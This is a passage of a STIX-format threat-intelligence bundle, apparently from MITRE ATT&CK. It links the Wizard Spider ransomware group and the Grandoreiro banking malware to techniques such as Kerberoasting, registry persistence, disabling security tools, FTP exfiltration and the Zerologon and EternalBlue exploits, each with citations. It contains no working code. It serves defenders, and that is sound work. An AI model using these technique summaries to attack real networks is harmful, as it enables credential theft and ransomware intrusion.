                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                },
                {
                    "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020",
                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has sent phishing emails containing a link to an actor-controlled Google Drive document or other free online file hosting services.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)",
            "relationship_type": "uses",
            "id": "relationship--d87925c8-23ed-4913-81d6-c4d93d65c798",
            "type": "relationship",
            "modified": "2020-11-10T15:46:09.451Z",
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        },
        {
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee",
            "external_references": [
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                },
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                },
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                },
                {
                    "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020",
                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used Rubeus, MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet to steal AES hashes.(Citation: DFIR Ryuk's Return October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)",
            "relationship_type": "uses",
            "id": "relationship--72b30ddb-137c-4799-bacd-ab17aa2d01fc",
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            "modified": "2020-11-10T16:04:00.641Z",
            "created": "2020-11-10T16:04:00.641Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
            "external_references": [
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used Window Remote Management to move laterally through a victim network.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)",
            "relationship_type": "uses",
            "id": "relationship--f947ae1c-1042-469d-b00e-84784e406cec",
            "type": "relationship",
            "modified": "2020-11-10T16:04:00.714Z",
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        },
        {
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "external_references": [
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used the \u201cnet view\u201d command to locate mapped network shares.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)",
            "relationship_type": "uses",
            "id": "relationship--eaebb080-e57e-4c06-84df-376cc8bff09e",
            "type": "relationship",
            "modified": "2020-11-10T16:04:00.852Z",
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        },
        {
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "external_references": [
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                },
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                },
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has shut down or uninstalled security applications on victim systems that might prevent ransomware from executing.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)",
            "relationship_type": "uses",
            "id": "relationship--dae7228a-89f0-4e1c-b306-b9f6d08b902d",
            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                },
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has established persistence via the Registry key HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run and a shortcut within the startup folder.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--f3cc3739-9dea-41c9-ac82-038b9c92bdb0",
            "type": "relationship",
            "modified": "2020-12-18T16:10:19.470Z",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
                {
                    "source_name": "Sophos New Ryuk Attack October 2020",
                    "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/",
                    "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used \"whoami\" to identify the local user and their privileges.(Citation: Sophos New Ryuk Attack October 2020)",
            "relationship_type": "uses",
            "id": "relationship--aca710ff-23a3-4c78-b75a-dfe6cad337a9",
            "type": "relationship",
            "modified": "2020-11-10T16:22:44.111Z",
            "created": "2020-11-10T16:22:44.111Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f",
            "external_references": [
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used administrative accounts, including Domain Admin, to move laterally within a victim network.(Citation: FireEye KEGTAP SINGLEMALT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--2dd33387-a109-46cd-8204-cb79a62e4830",
            "type": "relationship",
            "modified": "2020-11-10T16:24:46.847Z",
            "created": "2020-11-10T16:24:46.847Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "external_references": [
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has accessed victim networks by using stolen credentials to access the corporate VPN infrastructure.(Citation: FireEye KEGTAP SINGLEMALT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--79b0a6bc-4061-468c-ac1b-eef3dc3fb419",
            "type": "relationship",
            "modified": "2020-11-10T16:24:46.955Z",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
            "external_references": [
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used taskkill.exe and net.exe to stop backup, catalog, cloud, and other services prior to network encryption.(Citation: DFIR Ryuk's Return October 2020)",
            "relationship_type": "uses",
            "id": "relationship--cd283aa1-23f1-4516-9198-9d565bd4a431",
            "type": "relationship",
            "modified": "2020-11-10T16:24:47.051Z",
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        {
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "external_references": [
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                },
                {
                    "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020",
                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has exfiltrated victim information using FTP.(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)",
            "relationship_type": "uses",
            "id": "relationship--5fe0a46c-7a06-4aea-9768-d611d3f3116d",
            "type": "relationship",
            "modified": "2020-11-10T16:24:47.121Z",
            "created": "2020-11-10T16:24:47.121Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used cmd.exe to execute commands on a victim's machine.(Citation: DFIR Ryuk's Return October 2020)",
            "relationship_type": "uses",
            "id": "relationship--1ca344f1-97fe-453c-9f12-86130ddcebbc",
            "type": "relationship",
            "modified": "2020-11-10T16:24:47.269Z",
            "created": "2020-11-10T16:24:47.269Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used \u201csysteminfo\u201d and similar commands to acquire detailed configuration information of a victim machine.(Citation: DFIR Ryuk's Return October 2020)",
            "relationship_type": "uses",
            "id": "relationship--e24411cf-6274-4b6b-87b4-b90b01146c8d",
            "type": "relationship",
            "modified": "2020-11-10T16:24:47.347Z",
            "created": "2020-11-10T16:24:47.347Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "external_references": [
                {
                    "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020",
                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."
                },
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used SMB to drop Cobalt Strike Beacon on a domain controller for lateral movement.(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: DFIR Ryuk's Return October 2020)",
            "relationship_type": "uses",
            "id": "relationship--2bb3c950-2099-4d7d-ac13-05a1470fc3c6",
            "type": "relationship",
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        },
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            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "external_references": [
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                },
                {
                    "source_name": "DFIR Ryuk in 5 Hours October 2020",
                    "url": "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/",
                    "description": "The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used services.exe to execute scripts and executables during lateral movement within a victim network.(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)",
            "relationship_type": "uses",
            "id": "relationship--f3b210e4-9784-4305-8cad-6bdb4d44250f",
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            "external_references": [
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used the Invoke-Inveigh PowerShell cmdlets, likely for name service poisoning.(Citation: FireEye KEGTAP SINGLEMALT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--9bd4212c-2e17-41e2-9ff3-1448642ce958",
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            "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
            "external_references": [
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                },
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                },
                {
                    "source_name": "DFIR Ryuk in 5 Hours October 2020",
                    "url": "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/",
                    "description": "The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has exploited or attempted to exploit Zerologon (CVE-2020-1472) and EternalBlue (MS17-010) vulnerabilities.(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)",
            "relationship_type": "uses",
            "id": "relationship--14f3eebf-40c3-48d5-ad62-356d57ccf2dc",
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            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
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                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used WMI to identify anti-virus products installed on a victim's machine.(Citation: DFIR Ryuk's Return October 2020)",
            "relationship_type": "uses",
            "id": "relationship--61c802ec-b415-4161-bf15-3a8c5cc0a243",
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            "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
            "external_references": [
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has established persistence using Userinit by adding the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon.(Citation: FireEye KEGTAP SINGLEMALT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--79e8a269-8ef5-4795-94ce-72bfbb03c7cb",
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            "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "external_references": [
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has acquired credentials from the SAM/SECURITY registry hives.(Citation: FireEye KEGTAP SINGLEMALT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--c96e7dda-d05c-458a-8332-9e7851bb4775",
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "external_references": [
                {
                    "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020",
                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used Digicert code-signing certificates for some of its malware.(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)",
            "relationship_type": "uses",
            "id": "relationship--9438f268-3827-435b-98b5-79dbc0ee5213",
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                {
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                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) obtained a code signing certificate signed by Digicert for some of its malware.(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)",
            "relationship_type": "uses",
            "id": "relationship--00a88d6f-fa8c-48bf-a028-fb75ca04e000",
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            "external_references": [
                {
                    "source_name": "Sophos New Ryuk Attack October 2020",
                    "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/",
                    "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used the icacls command to modify access control to backup servers, providing them with full control of all the system folders.(Citation: Sophos New Ryuk Attack October 2020)",
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                    "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/",
                    "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020."
                }
            ],
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            "relationship_type": "uses",
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                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has identified domain admins through the use of \u201cnet group \u2018Domain admins\u2019\u201d commands.(Citation: DFIR Ryuk's Return October 2020)",
            "relationship_type": "uses",
            "id": "relationship--82dee5a5-7890-4bed-bc8c-83ffa13a8bcf",
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf",
            "external_references": [
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                },
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                },
                {
                    "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020",
                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."
                },
                {
                    "source_name": "DFIR Ryuk in 5 Hours October 2020",
                    "url": "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/",
                    "description": "The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Sophos New Ryuk Attack October 2020",
                    "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/",
                    "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020."
                },
                {
                    "source_name": "Red Canary Hospital Thwarted Ryuk October 2020",
                    "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ",
                    "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020."
                }
            ],
            "description": "(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)(Citation: Sophos New Ryuk Attack October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)",
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            "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47",
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                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                },
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                },
                {
                    "source_name": "DFIR Ryuk in 5 Hours October 2020",
                    "url": "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/",
                    "description": "The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020."
                }
            ],
            "description": "(Citation: DFIR Ryuk's Return October 2020)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)",
            "relationship_type": "uses",
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            "target_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926",
            "external_references": [
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                },
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                },
                {
                    "source_name": "Sophos New Ryuk Attack October 2020",
                    "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/",
                    "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020."
                }
            ],
            "description": "(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Sophos New Ryuk Attack October 2020)",
            "relationship_type": "uses",
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            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has used compromised websites and Google Ads to bait victims into downloading its installer.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: IBM Grandoreiro April 2020)",
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            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can obtain C2 information from Google Docs.(Citation: Securelist Brazilian Banking Malware July 2020)",
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            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has infected victims via malicious attachments.(Citation: IBM Grandoreiro April 2020)",
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            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can download its second stage from a hardcoded URL within the loader's code.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)",
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                }
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            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has used malicious links to gain execution on victim machines.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)",
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            ],
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            ],
